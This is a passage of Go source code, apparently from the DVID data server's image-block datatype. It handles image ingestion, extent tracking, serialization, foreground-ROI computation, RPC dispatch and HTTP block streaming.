false\n\t}\n\treturn reflect.DeepEqual(d.Properties, d2.Properties)\n}\n\n// BlankImage initializes a blank image of appropriate size and depth for the\n// current data values. Returns an error if the geometry is not 2d.\nfunc (d *Data) BlankImage(dstW, dstH int32) (*dvid.Image, error) {\n\t// Make sure values for this data can be converted into an image.\n\tvaluesPerVoxel := int32(len(d.Properties.Values))\n\tif valuesPerVoxel < 1 || valuesPerVoxel > 4 {\n\t\treturn nil, fmt.Errorf(\"Standard voxels type can't convert %d values/voxel into image.\",\n\t\t\tvaluesPerVoxel)\n\t}\n\tbytesPerValue, err := d.Properties.Values.BytesPerValue()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tunsupported := func() error {\n\t\treturn fmt.Errorf(\"DVID doesn't support images for %d channels and %d bytes/channel\",\n\t\t\tvaluesPerVoxel, bytesPerValue)\n\t}\n\n\tvar img image.Image\n\tstride := int(dstW * valuesPerVoxel * bytesPerValue)\n\tr := image.Rect(0, 0, int(dstW), int(dstH))\n\timageBytes := int(dstH) * stride\n\tdata := make([]uint8, imageBytes, imageBytes)\n\tswitch valuesPerVoxel {\n\tcase 1:\n\t\tswitch bytesPerValue {\n\t\tcase 1:\n\t\t\timg = &image.Gray{\n\t\t\t\tStride: stride,\n\t\t\t\tRect: r,\n\t\t\t\tPix: data,\n\t\t\t}\n\t\tcase 2:\n\t\t\timg = &image.Gray16{\n\t\t\t\tStride: stride,\n\t\t\t\tRect: r,\n\t\t\t\tPix: data,\n\t\t\t}\n\t\tcase 4:\n\t\t\timg = &image.NRGBA{\n\t\t\t\tStride: stride,\n\t\t\t\tRect: r,\n\t\t\t\tPix: data,\n\t\t\t}\n\t\tcase 8:\n\t\t\timg = &image.NRGBA64{\n\t\t\t\tStride: stride,\n\t\t\t\tRect: r,\n\t\t\t\tPix: data,\n\t\t\t}\n\t\tdefault:\n\t\t\treturn nil, unsupported()\n\t\t}\n\tcase 4:\n\t\tswitch bytesPerValue {\n\t\tcase 1:\n\t\t\timg = &image.NRGBA{\n\t\t\t\tStride: stride,\n\t\t\t\tRect: r,\n\t\t\t\tPix: data,\n\t\t\t}\n\t\tcase 2:\n\t\t\timg = &image.NRGBA64{\n\t\t\t\tStride: stride,\n\t\t\t\tRect: r,\n\t\t\t\tPix: data,\n\t\t\t}\n\t\tdefault:\n\t\t\treturn nil, unsupported()\n\t\t}\n\tdefault:\n\t\treturn nil, unsupported()\n\t}\n\n\treturn dvid.ImageFromGoImage(img, d.Properties.Values, d.Properties.Interpolable)\n}\n\n// PutLocal adds image data to a version node, altering underlying blocks if the image\n// intersects the block.\n//\n// The image filename glob MUST BE absolute file paths that are visible to the server.\n// This function is meant for mass ingestion of large data files, and it is inappropriate\n// to read gigabytes of data just to send it over the network to a local DVID.\nfunc (d *Data) PutLocal(request datastore.Request, reply *datastore.Response) error {\n\ttimedLog := dvid.NewTimeLog()\n\n\t// Parse the request\n\tvar uuidStr, dataName, cmdStr, sourceStr, planeStr, offsetStr string\n\tfilenames := request.CommandArgs(1, &uuidStr, &dataName, &cmdStr, &sourceStr,\n\t\t&planeStr, &offsetStr)\n\tif len(filenames) == 0 {\n\t\treturn fmt.Errorf(\"Need to include at least one file to add: %s\", request)\n\t}\n\n\t// Get offset\n\toffset, err := dvid.StringToPoint(offsetStr, \",\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Illegal offset specification: %s: %v\", offsetStr, err)\n\t}\n\n\t// Get list of files to add\n\tvar addedFiles string\n\tif len(filenames) == 1 {\n\t\taddedFiles = filenames[0]\n\t} else {\n\t\taddedFiles = fmt.Sprintf(\"filenames: %s [%d more]\", filenames[0], len(filenames)-1)\n\t}\n\tdvid.Debugf(addedFiles + \"\\n\")\n\n\t// Get plane\n\tplane, err := dvid.DataShapeString(planeStr).DataShape()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Get Repo and IDs\n\tuuid, versionID, err := datastore.MatchingUUID(uuidStr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Load and put each image.\n\tnumSuccessful := 0\n\tfor _, filename := range filenames {\n\t\tsliceLog := dvid.NewTimeLog()\n\t\timg, _, err := dvid.GoImageFromFile(filename)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Error after %d images successfully added: %v\", numSuccessful, err)\n\t\t}\n\t\tslice, err := dvid.NewOrthogSlice(plane, offset, dvid.RectSize(img.Bounds()))\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Unable to determine slice: %v\", err)\n\t\t}\n\n\t\tvox, err := d.NewVoxels(slice, img)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tstorage.FileBytesRead <- len(vox.Data())\n\t\tif err = d.IngestVoxels(versionID, d.NewMutationID(), vox, \"\"); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tsliceLog.Debugf(\"%s put local %s\", d.DataName(), slice)\n\t\tnumSuccessful++\n\t\toffset = offset.Add(dvid.Point3d{0, 0, 1})\n\t}\n\n\tif err := datastore.AddToNodeLog(uuid, []string{request.Command.String()}); err != nil {\n\t\treturn err\n\t}\n\ttimedLog.Infof(\"RPC put local (%s) completed\", addedFiles)\n\treturn nil\n}\n\n// NewVoxels returns Voxels with given geometry and optional image data.\n// If img is passed in, the function will initialize the Voxels with data from the image.\n// Otherwise, it will allocate a zero buffer of appropriate size.\nfunc (d *Data) NewVoxels(geom dvid.Geometry, img interface{}) (*Voxels, error) {\n\tbytesPerVoxel := d.Properties.Values.BytesPerElement()\n\tstride := geom.Size().Value(0) * bytesPerVoxel\n\n\tvoxels := &Voxels{\n\t\tGeometry: geom,\n\t\tvalues: d.Properties.Values,\n\t\tstride: stride,\n\t}\n\n\tif img == nil {\n\t\tnumVoxels := geom.NumVoxels()\n\t\tif numVoxels <= 0 {\n\t\t\treturn nil, fmt.Errorf(\"Illegal geometry requested: %s\", geom)\n\t\t}\n\t\trequestSize := int64(bytesPerVoxel) * numVoxels\n\t\tif requestSize > server.MaxDataRequest {\n\t\t\treturn nil, fmt.Errorf(\"Requested payload (%d bytes) exceeds this DVID server's set limit (%d)\",\n\t\t\t\trequestSize, server.MaxDataRequest)\n\t\t}\n\t\tvoxels.data = make([]uint8, requestSize)\n\t} else {\n\t\tswitch t := img.(type) {\n\t\tcase image.Image:\n\t\t\tvar actualStride int32\n\t\t\tvar err error\n\t\t\tvoxels.data, _, actualStride, err = dvid.ImageData(t)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif actualStride < stride {\n\t\t\t\treturn nil, fmt.Errorf(\"Too little data in input image (expected stride %d)\", stride)\n\t\t\t}\n\t\t\tvoxels.stride = actualStride\n\t\tcase []byte:\n\t\t\tvoxels.data = t\n\t\t\tactualLen := int64(len(voxels.data))\n\t\t\texpectedLen := int64(bytesPerVoxel) * geom.NumVoxels()\n\t\t\tif actualLen != expectedLen {\n\t\t\t\treturn nil, fmt.Errorf(\"voxels data was %d bytes, expected %d bytes for %s\",\n\t\t\t\t\tactualLen, expectedLen, geom)\n\t\t\t}\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"Unexpected image type given to NewVoxels(): %T\", t)\n\t\t}\n\t}\n\treturn voxels, nil\n}\n\nfunc (d *Data) BlockSize() dvid.Point {\n\treturn d.Properties.BlockSize\n}\n\n// GetExtents retrieves current extent (and updates extents cache)\n// TODO -- refactor return since MinIndex / MaxIndex not used so should use extents3d.\nfunc (d *Data) GetExtents(ctx *datastore.VersionedCtx) (dvidextents dvid.Extents, err error) {\n\tvar extents ExtentsJSON\n\t// actually fetch extents from datatype storage\n\tvar store storage.KeyValueDB\n\tif store, err = datastore.GetKeyValueDB(d); err != nil {\n\t\treturn\n\t}\n\tvar serialization []byte\n\tif serialization, err = store.Get(ctx, MetaTKey()); err != nil {\n\t\treturn\n\t}\n\tif extents, err = d.deserializeExtents(serialization); err != nil {\n\t\treturn\n\t}\n\tif extents.MinPoint == nil || extents.MaxPoint == nil {\n\t\t// assume this is old dataset and try to use values under Properties.\n\t\tif d.Properties.MinPoint == nil || d.Properties.MaxPoint == nil {\n\t\t\treturn\n\t\t}\n\t\tdvidextents.MinPoint = d.Properties.MinPoint\n\t\tdvidextents.MaxPoint = d.Properties.MaxPoint\n\t\textents.MinPoint = d.Properties.MinPoint\n\t\textents.MaxPoint = d.Properties.MaxPoint\n\t} else {\n\t\tdvidextents.MinPoint = extents.MinPoint\n\t\tdvidextents.MaxPoint = extents.MaxPoint\n\t}\n\n\t// derive corresponding block coordinate\n\tblockSize, ok := d.BlockSize().(dvid.Point3d)\n\tif !ok {\n\t\terr = fmt.Errorf(\"can't get extents for data instance %q when block size %s isn't 3d\", d.DataName(), d.BlockSize())\n\t\treturn\n\t}\n\tminPoint, ok := extents.MinPoint.(dvid.Point3d)\n\tif !ok {\n\t\terr = fmt.Errorf(\"can't get 3d point %s for data %q\", extents.MinPoint, d.DataName())\n\t\treturn\n\t}\n\tmaxPoint, ok := extents.MaxPoint.(dvid.Point3d)\n\tif !ok {\n\t\terr = fmt.Errorf(\"can't get 3d point %s for data %q\", extents.MaxPoint, d.DataName())\n\t\treturn\n\t}\n\tdvidextents.MinIndex = minPoint.ChunkIndexer(blockSize)\n\tdvidextents.MaxIndex = maxPoint.ChunkIndexer(blockSize)\n\treturn\n}\n\n// ExtentsUnchanged is an error for patch failure\nvar ExtentsUnchanged = errors.New(\"extents does not change\")\n\n// PostExtents updates extents with the new points (always growing)\nfunc (d *Data) PostExtents(ctx *datastore.VersionedCtx, start dvid.Point, end dvid.Point) error {\n\tstore, err := datastore.GetOrderedKeyValueDB(d)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// lock datatype to protect get/put\n\td.Lock()\n\tdefer d.Unlock()\n\n\t// retrieve extents\n\tdata, err := store.Get(ctx, MetaTKey())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\textentsjson, err := d.deserializeExtents(data)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// update extents if necessary\n\tvar extents dvid.Extents\n\textents.MinPoint = extentsjson.MinPoint\n\textents.MaxPoint = extentsjson.MaxPoint\n\n\tif mod := extents.AdjustPoints(start, end); mod {\n\t\t// serialize extents\n\t\textentsjson.MinPoint = extents.MinPoint\n\t\textentsjson.MaxPoint = extents.MaxPoint\n\t\tser_extents, err := d.serializeExtents(extentsjson)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// !! update extents only if a non-distributed dvid\n\t\t// TODO: remove this\n\t\td.Extents = extents\n\t\terr = datastore.SaveDataByVersion(ctx.VersionID(), d)\n\t\tif err != nil {\n\t\t\tdvid.Infof(\"Error in trying to save repo on change: %v\\n\", err)\n\t\t}\n\n\t\t// post actual extents\n\t\treturn store.Put(ctx, MetaTKey(), ser_extents)\n\t}\n\treturn nil\n}\n\nfunc (d *Data) Resolution() dvid.Resolution {\n\treturn d.Properties.Resolution\n}\n\nfunc (d *Data) String() string {\n\treturn string(d.DataName())\n}\n\n// MarshalJSON returns a JSON representation of the data assuming that any\n// extents are for the master branch leaf.\nfunc (d *Data) MarshalJSON() ([]byte, error) {\n\tvctx, err := datastore.NewVersionedCtxMasterLeaf(d)\n\tif err != nil {\n\t\treturn json.Marshal(struct {\n\t\t\tBase *datastore.Data\n\t\t\tExtended Properties\n\t\t}{\n\t\t\td.Data,\n\t\t\td.Properties,\n\t\t})\n\t}\n\treturn d.MarshalJSONExtents(vctx)\n}\n\nfunc (d *Data) MarshalJSONExtents(ctx *datastore.VersionedCtx) ([]byte, error) {\n\t// grab extent property and load\n\textents, err := d.GetExtents(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar extentsJSON ExtentsJSON\n\textentsJSON.MinPoint = extents.MinPoint\n\textentsJSON.MaxPoint = extents.MaxPoint\n\n\tprops, err := d.PropertiesWithExtents(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn json.Marshal(struct {\n\t\tBase *datastore.Data\n\t\tExtended Properties\n\t\tExtents ExtentsJSON\n\t}{\n\t\td.Data,\n\t\tprops,\n\t\textentsJSON,\n\t})\n}\n\nfunc (d *Data) GobDecode(b []byte) error {\n\tbuf := bytes.NewBuffer(b)\n\tdec := gob.NewDecoder(buf)\n\tif err := dec.Decode(&(d.Data)); err != nil {\n\t\treturn err\n\t}\n\tif err := dec.Decode(&(d.Properties)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (d *Data) GobEncode() ([]byte, error) {\n\tvar buf bytes.Buffer\n\tenc := gob.NewEncoder(&buf)\n\tif err := enc.Encode(d.Data); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := enc.Encode(d.Properties); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}\n\n// --- DataService interface ---\n\nfunc (d *Data) Help() string {\n\treturn fmt.Sprintf(helpMessage, DefaultBlockSize, DefaultRes)\n}\n\nfunc (d *Data) ModifyConfig(config dvid.Config) error {\n\tp := &(d.Properties)\n\tif err := p.setByConfig(config); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// ForegroundROI creates a new ROI by determining all non-background blocks.\nfunc (d *Data) ForegroundROI(req datastore.Request, reply *datastore.Response) error {\n\tif d.Values.BytesPerElement() != 1 {\n\t\treturn fmt.Errorf(\"Foreground ROI command only implemented for 1 byte/voxel data!\")\n\t}\n\n\t// Parse the request\n\tvar uuidStr, dataName, cmdStr, destName, backgroundStr string\n\treq.CommandArgs(1, &uuidStr, &dataName, &cmdStr, &destName, &backgroundStr)\n\n\t// Get the version and repo\n\tuuid, versionID, err := datastore.MatchingUUID(uuidStr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = datastore.AddToNodeLog(uuid, []string{req.Command.String()}); err != nil {\n\t\treturn err\n\t}\n\n\t// Use existing destination data or a new ROI data.\n\tvar dest *roi.Data\n\tdest, err = roi.GetByUUIDName(uuid, dvid.InstanceName(destName))\n\tif err != nil {\n\t\tconfig := dvid.NewConfig()\n\t\ttypeservice, err := datastore.TypeServiceByName(\"roi\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdataservice, err := datastore.NewData(uuid, typeservice, dvid.InstanceName(destName), config)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar ok bool\n\t\tdest, ok = dataservice.(*roi.Data)\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"Could not create ROI data instance\")\n\t\t}\n\t}\n\n\t// Asynchronously process the voxels.\n\tbackground, err := dvid.StringToPointNd(backgroundStr, \",\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tgo d.foregroundROI(versionID, dest, background)\n\n\treturn nil\n}\n\nfunc (d *Data) foregroundROI(v dvid.VersionID, dest *roi.Data, background dvid.PointNd) {\n\tstore, err := datastore.GetOrderedKeyValueDB(d)\n\tif err != nil {\n\t\tdvid.Criticalf(\"Data type imageblk had error initializing store: %v\\n\", err)\n\t\treturn\n\t}\n\n\ttimedLog := dvid.NewTimeLog()\n\ttimedLog.Infof(\"Starting foreground ROI %q for %s\", dest.DataName(), d.DataName())\n\tdest.StartUpdate()\n\tdefer dest.StopUpdate()\n\n\t// Iterate through all voxel blocks, loading and then checking blocks\n\t// for any foreground voxels.\n\tctx := datastore.NewVersionedCtx(d, v)\n\n\tbackgroundBytes := make([]byte, len(background))\n\tfor i, b := range background {\n\t\tbackgroundBytes[i] = byte(b)\n\t}\n\n\tconst BATCH_SIZE = 1000\n\tvar numBatches int\n\tvar span *dvid.Span\n\tspans := []dvid.Span{}\n\n\tvar f storage.ChunkFunc = func(chunk *storage.Chunk) error {\n\t\tif chunk == nil || chunk.V == nil {\n\t\t\treturn nil\n\t\t}\n\t\tdata, _, err := dvid.DeserializeData(chunk.V, true)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Error decoding block: %v\\n\", err)\n\t\t}\n\t\tnumVoxels := d.BlockSize().Prod()\n\t\tvar foreground bool\n\t\tfor i := int64(0); i < numVoxels; i++ {\n\t\t\tisBackground := false\n\t\t\tfor _, b := range backgroundBytes {\n\t\t\t\tif data[i] == b {\n\t\t\t\t\tisBackground = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !isBackground {\n\t\t\t\tforeground = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif foreground {\n\t\t\tindexZYX, err := DecodeTKey(chunk.K)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Error decoding voxel block key: %v\\n\", err)\n\t\t\t}\n\t\t\tx, y, z := indexZYX.Unpack()\n\t\t\tif span == nil {\n\t\t\t\tspan = &dvid.Span{z, y, x, x}\n\t\t\t} else if !span.Extends(x, y, z) {\n\t\t\t\tspans = append(spans, *span)\n\t\t\t\tif len(spans) >= BATCH_SIZE {\n\t\t\t\t\tinit := (numBatches == 0)\n\t\t\t\t\tnumBatches++\n\t\t\t\t\tgo func(spans []dvid.Span) {\n\t\t\t\t\t\tif err := dest.PutSpans(v, spans, init); err != nil {\n\t\t\t\t\t\t\tdvid.Errorf(\"Error in storing ROI: %v\\n\", err)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\ttimedLog.Debugf(\"-- Wrote batch %d of spans for foreground ROI %q\", numBatches, dest.DataName())\n\t\t\t\t\t\t}\n\t\t\t\t\t}(spans)\n\t\t\t\t\tspans = []dvid.Span{}\n\t\t\t\t}\n\t\t\t\tspan = &dvid.Span{z, y, x, x}\n\t\t\t}\n\t\t}\n\t\tserver.BlockOnInteractiveRequests(\"voxels [compute foreground ROI]\")\n\t\treturn nil\n\t}\n\n\tminTKey := storage.MinTKey(keyImageBlock)\n\tmaxTKey := storage.MaxTKey(keyImageBlock)\n\n\terr = store.ProcessRange(ctx, minTKey, maxTKey, &storage.ChunkOp{}, f)\n\tif err != nil {\n\t\tdvid.Errorf(\"Error in processing chunks in ROI: %v\\n\", err)\n\t\treturn\n\t}\n\tif span != nil {\n\t\tspans = append(spans, *span)\n\t}\n\n\t// Save new ROI\n\tif len(spans) > 0 {\n\t\tif err := dest.PutSpans(v, spans, numBatches == 0); err != nil {\n\t\t\tdvid.Errorf(\"Error in storing ROI: %v\\n\", err)\n\t\t\treturn\n\t\t}\n\t}\n\ttimedLog.Infof(\"Created foreground ROI %q for %s\", dest.DataName(), d.DataName())\n}\n\n// DoRPC acts as a switchboard for RPC commands.\nfunc (d *Data) DoRPC(req datastore.Request, reply *datastore.Response) error {\n\tswitch req.TypeCommand() {\n\tcase \"load\":\n\t\tif len(req.Command) < 5 {\n\t\t\treturn fmt.Errorf(\"Poorly formatted load command. See command-line help.\")\n\t\t}\n\t\t// Parse the request\n\t\tvar uuidStr, dataName, cmdStr, offsetStr string\n\t\tfilenames, err := req.FilenameArgs(1, &uuidStr, &dataName, &cmdStr, &offsetStr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif len(filenames) == 0 {\n\t\t\thostname, _ := os.Hostname()\n\t\t\treturn fmt.Errorf(\"Couldn't find any files to add. Are they visible to DVID server on %s?\",\n\t\t\t\thostname)\n\t\t}\n\n\t\t// Get offset\n\t\toffset, err := dvid.StringToPoint(offsetStr, \",\")\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Illegal offset specification: %s: %v\", offsetStr, err)\n\t\t}\n\n\t\t// Get list of files to add\n\t\tvar addedFiles string\n\t\tif len(filenames) == 1 {\n\t\t\taddedFiles = filenames[0]\n\t\t} else {\n\t\t\taddedFiles = fmt.Sprintf(\"filenames: %s [%d more]\", filenames[0], len(filenames)-1)\n\t\t}\n\t\tdvid.Debugf(addedFiles + \"\\n\")\n\n\t\tuuid, versionID, err := datastore.MatchingUUID(uuidStr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err = datastore.AddToNodeLog(uuid, []string{req.Command.String()}); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treply.Text = fmt.Sprintf(\"Asynchronously loading %d files into data instance %q @ node %s (errors will be printed in server log) ...\\n\", len(filenames), dataName, uuidStr)\n\t\tgo func() {\n\t\t\terr := d.LoadImages(versionID, offset, filenames)\n\t\t\tif err != nil {\n\t\t\t\tdvid.Errorf(\"Cannot load images into data instance %q @ node %s: %v\\n\", dataName, uuidStr, err)\n\t\t\t}\n\t\t}()\n\n\tcase \"put\":\n\t\tif len(req.Command) < 7 {\n\t\t\treturn fmt.Errorf(\"Poorly formatted put command. See command-line help.\")\n\t\t}\n\t\tsource := req.Command[4]\n\t\tswitch source {\n\t\tcase \"local\":\n\t\t\treturn d.PutLocal(req, reply)\n\t\tcase \"remote\":\n\t\t\treturn fmt.Errorf(\"put remote not yet implemented\")\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"Unknown command. Data instance '%s' [%s] does not support '%s' command.\",\n\t\t\t\td.DataName(), d.TypeName(), req.TypeCommand())\n\t\t}\n\n\tcase \"roi\":\n\t\tif len(req.Command) < 6 {\n\t\t\treturn fmt.Errorf(\"Poorly formatted roi command. See command-line help.\")\n\t\t}\n\t\treturn d.ForegroundROI(req, reply)\n\n\tdefault:\n\t\treturn fmt.Errorf(\"Unknown command. Data instance '%s' [%s] does not support '%s' command.\",\n\t\t\td.DataName(), d.TypeName(), req.TypeCommand())\n\t}\n\treturn nil\n}\n\n// Prints RGBA of first n x n pixels of image with header string.\nfunc debugData(img image.Image, message string) {\n\tdata, _, stride, _ := dvid.ImageData(img)\n\tvar n = 3 // neighborhood to write\n\tfmt.Printf(\"%s>\\n\", message)\n\tfor y := 0; y < n; y++ {\n\t\tfor x := 0; x < n; x++ {\n\t\t\ti := y*int(stride) + x*4\n\t\t\tfmt.Printf(\"[%3d %3d %3d %3d] \", data[i], data[i+1], data[i+2], data[i+3])\n\t\t}\n\t\tfmt.Printf(\"\\n\")\n\t}\n}\n\n// SendUnserializedBlock writes a raw data block to the writer with given compression.\nfunc (d *Data) SendUnserializedBlock(w http.ResponseWriter, x, y, z int32, v []byte, compression string) error {\n\tvar data []byte\n\tswitch compression {\n\tcase \"uncompressed\":\n\t\tb := bytes.NewBuffer(v)\n\t\timgdata, err := jpeg.Decode(b)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tdata2 := imgdata.(*image.Gray)\n\t\tdata = data2.Pix\n\tdefault: // JPEG by default\n\t\tdata = v\n\t}\n\n\t// Send block coordinate and size of data.\n\tif err := binary.Write(w, binary.LittleEndian, x); err != nil {\n\t\treturn err\n\t}\n\tif err := binary.Write(w, binary.LittleEndian, y); err != nil {\n\t\treturn err\n\t}\n\tif err := binary.Write(w, binary.LittleEndian, z); err != nil {\n\t\treturn err\n\t}\n\n\tn := len(data)\n\tif err := binary.Write(w, binary.LittleEndian, int32(n)); err != nil {\n\t\treturn err\n\t}\n\tcopydata := make([]byte, len(data))\n\tcopy(copydata, data)\n\tif written, err := w.Write(data); err != nil || written != n {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn fmt.Errorf(\"could not write %d bytes of value: only %d bytes written\", n, written)\n\t}\n\treturn nil\n}\n\n// SendSerializedBlock writes a serialized data block to the writer with given compression.\nfunc (d *Data) SendSerializedBlock(w http.ResponseWriter, x, y, z int32, v []byte, compression string) error {\n\t// Check internal format and see if it's valid with compression choice.\n\tformat, checksum := dvid.DecodeSerializationFormat(dvid.SerializationFormat(v[0]))\n\n\tif (compression == \"jpeg\") && format != dvid.JPEG {\n\t\treturn fmt.Errorf(\"can't encode JPEG: expected internal block data to be JPEG, was %s instead\", format)\n\t}\n\n\t// Send block coordinate and size of data.\n\tif err := binary.Write(w, binary.LittleEndian, x); err != nil {\n\t\treturn err\n\t}\n\tif err := binary.Write(w, binary.LittleEndian, y); err != nil {\n\t\treturn err\n\t}\n\tif err := binary.Write(w, binary.LittleEndian, z); err != nil {\n\t\treturn err\n\t}\n\n\t// ignore first byte\n\tstart := 1\n\tif checksum == dvid.CRC32 {\n\t\tstart += 4\n\t}\n\n\t// Do any adjustment of sent data based on compression request\n\tvar data []byte\n\tif compression == \"uncompressed\" {\n\t\tvar err error\n\t\tdata, _, err = dvid.DeserializeData(v, true)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tdata = v[start:]\n\t}\n\tn := len(data)\n\tif err := binary.Write(w, binary.LittleEndian, int32(n)); err != nil {\n\t\treturn err\n\t}\n\n\t// Send data itself, skipping the first byte for internal format and next 4 for uncompressed length.\n\tif written, err := w.Write(data); err != nil || written != n {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn fmt.Errorf(\"could not write %d bytes of value: only %d bytes written\", n, written)\n\t}\n\treturn nil\n}\n\n// SendBlocksSpecific writes data to the blocks specified -- best for non-ordered backend\nfunc (d *Data) SendBlocksSpecific(ctx *datastore.VersionedCtx, w http.ResponseWriter, compression string, blockstring string, isprefetch bool) (numBlocks int, err error) {\n\tw.Header().Set(\"Content-type\", \"application/octet-stream\")\n\n\tif compression != \"uncompressed\" && compression != \"jpeg\" && compression != \"\" {\n\t\terr = fmt.Errorf(\"don't understand 'compression' query string value: %s\", compression)\n\t\treturn\n\t}\n\ttimedLog := dvid.NewTimeLog()\n\tdefer timedLog.Infof(\"SendBlocks Specific \")\n\n\t// extract querey string\n\tif blockstring == \"\" {\n\t\treturn\n\t}\n\tcoordarray := strings.Split(blockstring, \",\")\n\tif len(coordarray)%3 != 0 {\n\t\terr = fmt.Errorf(\"block query string should be three coordinates per block\")\n\t\treturn\n\t}\n\tnumBlocks = len(coordarray) / 3\n\n\t// make a finished queue\n\tfinishedRequests := make(chan error, len(coordarray)/3)\n\tvar mutex sync.Mutex\n\n\t// get store for data\n\tvar gridStore storage.GridStoreGetter\n\tvar kvDB storage.KeyValueDB\n\tgridStore, _, kvDB, err = d.gridStoreGetter()\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// iterate through each block and query\n\tfor i := 0; i < len(coordarray); i += 3 {\n\t\tvar xloc, yloc, zloc int\n\t\txloc, err = strconv.Atoi(coordarray[i])\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tyloc, err = strconv.Atoi(coordarray[i+1])\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tzloc, err = strconv.Atoi(coordarray[i+2])\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tgo func(xloc, yloc, zloc int32, isprefetch bool, finishedRequests chan error) {\n\t\t\tvar err error\n\t\t\tif !isprefetch {\n\t\t\t\tdefer func() {\n\t\t\t\t\tfinishedRequests <- err\n\t\t\t\t}()\n\t\t\t}\n\t\t\tchunkPt := dvid.ChunkPoint3d{xloc, yloc, zloc}\n\n\t\t\tvar value []byte\n\t\t\tif gridStore != nil {\n\t\t\t\tif value, err = gridStore.GridGet(d.ScaleLevel, chunkPt); err != nil || value == nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tmutex.Lock()\n\t\t\t\tdefer mutex.Unlock()\n\t\t\t\td.SendUnserializedBlock(w, xloc, yloc, zloc, value, compression)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tidx := dvid.IndexZYX(chunkPt)\n\t\t\tkey := NewTKey(&idx)\n\t\t\tvalue, err = kvDB.Get(ctx, key)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif len(value) > 0 {\n\t\t\t\tif !isprefetch {\n\t\t\t\t\t// lock shared resource\n\t\t\t\t\tmutex.Lock()\n\t\t\t\t\tdefer mutex.Unlock()\n\t\t\t\t\td.SendSerializedBlock(w, xloc, yloc, zloc, value, compression)\n\t\t\t\t}\n\t\t\t}\n\t\t}(int32(xloc), int32(yloc), int32(zloc), isprefetch, finishedRequests)\n\t}\n\n\tif !isprefetch {\n\t\t// wait for everything to finish if not prefetching\n\t\tfor i := 0; i < len(coordarray); i += 3 {\n\t\t\terrjob := <-finishedRequests\n\t\t\tif errjob != nil {\n\t\t\t\terr = errjob\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\n// SendBlocks returns a slice of bytes corresponding to all the blocks along a span in X\nfunc (d *Data) SendBlocks(ctx *datastore.VersionedCtx, w http.ResponseWriter, subvol *dvid.Subvolume, compression string) error {\n\tw.Header().Set(\"Content-type\", \"application/octet-stream\")\n\n\tif compression != \"uncompressed\" && compression != \"jpeg\" && compression != \"\" {\n\t\treturn fmt.Errorf(\"don't understand 'compression' query string value: %s\", compression)\n\t}\n\n\t// convert x,y,z coordinates to block coordinates\n\tblocksize := subvol.Size().Div(d.BlockSize())\n\tblockoffset := subvol.StartPoint().Div(d.BlockSize())\n\n\ttimedLog := dvid.NewTimeLog()\n\tdefer timedLog.Infof(\"SendBlocks %s, span x %d, span y %d, span z %d\", blockoffset, blocksize.Value(0), blocksize.Value(1), blocksize.Value(2))\n\n\t// get store for data\n\tgridStore, okvDB, _, err := d.gridStoreGetter()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot get suitable data store for imageblk %q: %v\", d.DataName(), err)\n\t}\n\n\t// if only one block is requested, avoid the range query\n\tif blocksize.Value(0) == int32(1) && blocksize.Value(1) == int32(1) && blocksize.Value(2) == int32(1) {\n\t\tblockCoord := dvid.ChunkPoint3d{blockoffset.Value(0), blockoffset.Value(1), blockoffset.Value(2)}\n\n\t\tvar value []byte\n\t\tswitch {\n\t\tcase gridStore != nil:\n\t\t\tif value, err = gridStore.GridGet(d.ScaleLevel, blockCoord); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif len(value) > 0 {\n\t\t\t\treturn d.SendUnserializedBlock(w, blockCoord[0], blockCoord[1], blockCoord[2], value, compression)\n\t\t\t}\n\t\tcase okvDB != 